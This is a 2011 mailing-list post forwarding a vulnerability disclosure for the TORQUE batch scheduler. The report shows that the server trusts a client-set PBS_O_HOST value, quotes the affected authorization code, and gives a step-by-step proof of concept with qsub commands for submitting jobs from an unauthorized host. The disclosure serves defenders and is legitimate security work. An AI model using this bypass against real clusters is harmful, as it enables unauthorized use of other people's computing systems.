[torqueusers] [torquedev] TORQUE authorization security vulnerability

Ken Nielson knielson at adaptivecomputing.com
Tue Aug 9 17:00:41 MDT 2011


Here is the algorithm for the vulnerability. The work around is pretty easy. Let us know if you have any comments.

Ken



This Vulnerability was found not by the submitter of the bug but by Bartlomiej
Balcerek at pwr.wroc.pl (Bartlomiej.Balcerek at pwr.wroc.pl) 

Torque, at least recent version (3.0.1) and GLite versions (e.g.
2.3.13,2.4.12) are vulnerable to authorization bypass attack.

Torque's server, during authorization relies on data provided
by "qsub" client. Qsub provides submit host name to server (hidden way),
which is used by server to authenticate request.

Using subverted PBS_O_HOST parameter it is possible to
omit at least three (of four) authorization mechanisms Torque uses:

1)  RCmd, using ruserok() function,
2) "submit_hosts" server parameter,
3) "allow_node_submit" server parameter

As for the 4th mechanism: ACL ("acl_host_enable" option) it is proof
against such authorization bypass.

The "orighost" is taken from settable on client side variable pbs_o_host:

"src/lib/Libsite/site_check_u.c":

   orighost = get_variable(pjob, pbs_o_host);


Then three checks are performed to authorize submit host. All
refer "orighost" variable.

1)
"src/lib/Libsite/site_check_u.c":

  rc = ruserok(orighost, 0, owner, luser);

   if (rc != 0 && EMsg != NULL)
        {
 ...
  snprintf(EMsg, 1024, "ruserok failed validating %s/%s from %s",
                 owner,
                 luser,
                 orighost);
2)
"src/lib/Libsite/site_check_u.c":

 for (hostnum = 0;hostnum < submithosts->as_usedptr;hostnum++)
      {
      testhost = submithosts->as_string[hostnum];

      if (!strcasecmp(testhost, orighost))
        {
        /* job submitted from host found in trusted submit host list,
access allowed */


3)
"src/lib/Libsite/site_check_u.c":

  if ((HostAllowed == 0) &&
          (server.sv_attr[SRV_ATR_AllowNodeSubmit].at_flags &
ATR_VFLAG_SET) &&
          (server.sv_attr[SRV_ATR_AllowNodeSubmit].at_val.at_long     == 1) &&
          (find_nodebyname(orighost) != NULL))
        {
        /* job submitted from compute host, access allowed */


Proof if concept:

1. Pick the site you want to check against vulnerability, check if its
port 15001 is open to you,
2. Check its Torque version ,
3. Choose a machine, that is not authorized to submit jobs, you must
have root access to this machine,
4. Pick an appropriate  Torque version from
http://www.clusterresources.com/downloads/torque/
You can choose v. 2.3.6 to perform check against Torque server <= 2.4.12
5. Apply the attached patch e.g.:

patch -p1 < torque-2.3.6-customargs.patch

6. Configure and make e.g..:

./configure --with-server-home=/opt/Torque-2.3.6/spool
--prefix=/opt/Torque-2.3.6 --disable-server --disable-mom

make
make install (from root account)

7. Guess/choose any remote account name,

8. Create an account of such name on your local machine, and
perform next task using this account,

9. Try to submit a job in regular way e.g.:

echo /bin/sleep 100 | /opt/Torque-2.3.6/bin/qsub -q @<site address>

At the end of the output you should see that your job was rejected:

qsub: Bad UID for job execution MSG=ruserok failed validating
bartol/bartol from sec.wcss.wroc.pl

10. Check PBS_O_HOST variable on "Variable_List" in qsub output.
It should be changed to addres of valid "submit host". Server name
itself is good idea there.

11. Submit a job with changed PBS_O_HOST on variable list e.g.:

echo /bin/sleep 100 | /opt/Torque-2.3.6/bin/qsub -q @batch.wcss.wroc.pl
-Z "Variable_List=PBS_O_HOME=/hom
e/bartol,PBS_O_LANG=pl_PL.utf8,PBS_O_LOGNAME=bartol,PBS_O_PATH=/usr/lib64/qt-3.3/bin:/usr/NX/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/bartol/bin,PBS_O_MAIL=/var/spool/mail/bartol,PBS_O_SHELL=/bin/bash,PBS_SERVER=sec.wcss.wroc.pl,PBS_O_HOST=batch.wcss.wroc.pl,PBS_O_WORKDIR=/home/bartol"

The submission should succeed now.



Reproducible: Always




This bug has already been reported to the Torque providers and the EGI Software
Vulnerability Group (SVG)

The EGI http://www.egi.eu/ Software Vulnerability group 
http://www.egi.eu/policy/groups/Software_Vulnerability_Group_SVG.html runs a
process for handling software vulnerabilities reported. While our work is
primarily designed to handle vulnerabilities in Grid Middleware, other
vulnerabilities found in software used in the EGI infrastructure may also be
reported to us and we pass the information on to the software suppliers, as
well as considering the risk to the EGI infrastructure.


More information about the torqueusers mailing list